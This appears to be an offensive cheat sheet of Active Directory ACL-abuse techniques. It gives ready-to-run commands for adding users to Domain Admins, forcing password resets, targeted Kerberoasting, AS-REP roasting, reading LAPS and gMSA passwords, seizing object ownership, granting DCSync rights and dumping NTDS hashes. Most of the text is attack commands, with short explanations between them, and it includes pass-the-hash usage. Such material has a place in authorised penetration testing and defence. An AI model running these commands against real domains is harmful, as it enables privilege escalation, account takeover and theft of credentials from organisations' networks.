This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, Self, AllExtendedRights or Self-Membership, over the target group.
# Using bloodyAD
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add groupMember "$TargetGroup" "$TargetUser"
# With net and cleartext credentials (will be prompted)
net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER" -S "$DC_HOST"
# With net and cleartext credentials
net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"
# With Pass-the-Hash
pth-net rpc group addmem "$TargetGroup" "$TargetUser" -U "$DOMAIN"/"$USER"%"ffffffffffffffffffffffffffffffff":"$NT_HASH" -S "$DC_HOST"
# Using ldeep
ldeep ldap -d "$DOMAIN" -s "$DC_IP" -u "$USER" -p "$PASSWORD" add_to_group "$TargetUser" "$TargetGroup"
# Command line
net group 'Domain Admins' 'user' /add /domain
# Powershell: Active Directory module
Add-ADGroupMember -Identity 'Domain Admins' -Members 'user'
# Powershell: PowerSploit module
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user'
ForceChangePassword
This abuse can be carried out when controlling an object that has a GenericAll, AllExtendedRights or User-Force-Change-Password over the target user.
# Modify the user password ‘USER_TARGET’ to ‘Password01!’ with bloodyAD
bloodyAD --host <ip> -d <domain> -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
# Modify the password of the user ‘USER_TARGET’ to ‘Password01!’ with rpcclient
rpcclient -U 'user%password' <ip> -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
# Modify the password of the user ‘USER_TARGET’ to ‘Password01!’ with net rpc
net rpc password "user_target" "Password01!" -U '<domain>/user%password' -S <ip>
# With Pass-the-Hash pth-net
pth-net rpc password "$TargetUser" -U "$DOMAIN"/"$USER"%"ffffffffffffffffffffffffffffffff":"$NT_HASH" -S "$DC_HOST"
# Modify the password of the user ‘USER_TARGET’ to ‘Password01!’ with PowerView.py
powerview <domain>/'user':'password'@<ip> --dc-ip <ip>
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
---------------------------------------------------------------------------------
# We verify that the change has been made correctly.
nxc smb <ip> -u 'USER_TARGET' -p 'Password01!'
# Having access to a computer in the domain or DC, we can modify the user's password
net user <user_target> Password01! /domain
# From PowerShell, we create an object for our user in case we do not have access with his user to the terminal, and we change credentials to the target user.
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<domain>\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity '<domain>\user_target' -AccountPassword = $NewPass -Credential $Cred
Targeted Kerberoasting
This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, WriteProperty or Validated-SPN over the target. A member of the Account Operator group usually has those permissions.
The attacker can add an SPN (ServicePrincipalName) to that account. Once the account has an SPN, it becomes vulnerable to Kerberoasting. This technique is called Targeted Kerberoasting.
# Assign a fictitious SPN (cifs/hacker) to the account named ‘target’.
bloodyAD --host <ip> -d <domain> -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/hacker'
# Get the TGS ticket from the user we have made Kerberoastable.
impacket-GetUserSPNs -dc-ip <ip> <domain>/'user':'password' -request-user 'target'
# Leave the SPN empty on the user that we had made Kerberostable.
bloodyAD --host <ip> -d <domain> -u 'user' -p 'password' set object 'target' servicePrincipalName
---------------------------------------------------------------------------------
# Through PowerView.py
powerview <domain>/'user':'password'@<ip> --dc-ip <ip>
PV > Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/hacker'
# Automatic process, assigns an SPN to users who have permissions, gives you the TGS ticket and then leaves the user as he/she was.
python3 targetedKerberoast.py --dc-ip <ip> -d <domain> -u 'user' -p 'password'
# Make sure that the target account has no SPN
Get-DomainUser 'victimuser' | Select serviceprincipalname
# Set the SPN
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='nonexistent/BLAHBLAH'}
# Obtain a kerberoast hash
$User = Get-DomainUser 'victimuser'
$User | Get-DomainSPNTicket | fl
# Clear the SPNs of the target account
$User | Select serviceprincipalname
Set-DomainObject -Identity victimuser -Clear serviceprincipalname
Once the Kerberoast hash is obtained, it can possibly be cracjer to recover the account's password if the password used is weak enough.
AS-REP Roast
We can assign a user the flag of (DONT_REQ_PREAUTH), request a ticket (TGT), then get a hash and perform AS-REP Roast.
# We assign to the user ‘target’ the flag of (DONT_REQ_PREAUTH)
bloodyAD --host <ip> -d <domain> -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH
# We request the TGT ticket from the AS-REP Roastable user.
impacket-GetNPUsers <domain>/target -no-pass 2>/dev/null
# We return the AS-REP Roastable user to normality
bloodyAD --host <ip> -d <domain> -u 'user' -p 'password' remove uac 'TARGET' -f DONT_REQ_PREAUTH
---------------------------------------------------------------------------------
# Through PowerView.py
powerview dominio.htb/'user':'password'@<ip>0 --dc-ip <ip>
PV > Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'
# NEED TO IMPORT PowerView.ps1 AND ASREPRoast.ps1 ON THE WINDOWS VICTIM COMPUTER
# Modify the user's userAccountControl (UAC) to make it AS-REP Roastable
Get-DomainUser username | ConvertFrom-UACValue
# We request the TGT ticket
Get-DomainUser username | ConvertFrom-UACValue
Get-ASREPHash -Domain dominio.htb -UserName username
# We leave the user's UAC as the default.
Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser username | ConvertFrom-UACValue
ReadLAPSPassword
This abuse can be carried out when controlling an object that has GenericAll or AllExtendedRights (or combination of GetChanges and (GetChangesInFilteredSet or GetChangesAll) for domain-wise synchronization) over the target computer configured for LAPS. The attacker can then read the LAPS password of the computer account (i.e. the password of the computer's local administrator).
# Using bloodyAD
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# Using pyLAPS
pyLAPS.py --action get -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --dc-ip "$DC_IP"
# Using netexec
nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --module laps
# The COMPUTER filter can be the name or wildcard (e.g. WIN-S10, WIN-* etc. Default: *)
nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --module laps -O computer="target-*"
# Using Active Directory PowerShell module.
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
# Using PowerView
Get-DomainComputer "MachineName" -Properties 'cn','ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
# Using SharpLAPS
SharpLAPS.exe /user:"DOMAIN\User" /pass:"Password" /host:"192.168.1.1"
ReadGMSAPassword
This abuse stands out a bit from other abuse cases. It can be carried out when controlling an object that has enough permissions listed in the target gMSA account's msDS-GroupMSAMembership attribute's DACL. Usually, these objects are principals that were configured to be explictly allowed to use the gMSA account.
The attacker can then read the gMSA (group managed service accounts) password of the account if those requirements are met.
On Windows systems, there are multiple ways to read gMSA passwords.
The first one uses the Active Directory and DSInternals PowerShell modules.
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'Target_Account' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
# Build a NT-Hash for PTH
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
# Alterantive: build a Credential-Object with the Plain Password
$cred = new-object system.management.automation.PSCredential "Domain\Target_Account",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
This abuse can be carried out when controlling an object that has WriteOwner or GenericAll over any object.
The attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. For instance, the attacker could change the target object's permissions and grant rights
# Using bloodyAD
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set owner $TargetObject $ControlledPrincipal
# Using impacket
owneredit.py -action write -new-owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'
# Using Set-DomainObjectOwner (PowerView module)
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
Grant Rights
This abuse can be carried out when controlling an object that has WriteDacl over another object.
The attacker can write a new ACE to the target object’s DACL (Discretionary Access Control List). This can give the attacker full control of the target object.
Instead of giving full control, the same process can be applied to allow an object to DCSync by adding two ACEs with specific Extended Rights (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All). Giving full control leads to the same thing since GenericAll includes all ExtendedRights, hence the two extended rights needed for DCSync to work.
# Give full control (with inheritance to the child object if applicable)
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add genericAll "$TargetObject" "$ControlledPrincipal"
# Give DCSync (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All)
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add dcsync "$ControlledPrincipal"
# Give full control
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target 'target_object' "$DOMAIN"/"$USER":"$PASSWORD"
# Give DCSync (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All)
dacledit.py -action 'write' -rights 'DCSync' -principal 'controlled_object' -target 'target_object' "$DOMAIN"/"$USER":"$PASSWORD"
---------------------------------------------------------------------------
# Once the user has DCSync permissions, we make a dump of NTDS.dit
impacket-secretsdump <domain>/'user':'password'@<ip> -dc-ip <ip> -just-dc-ntlm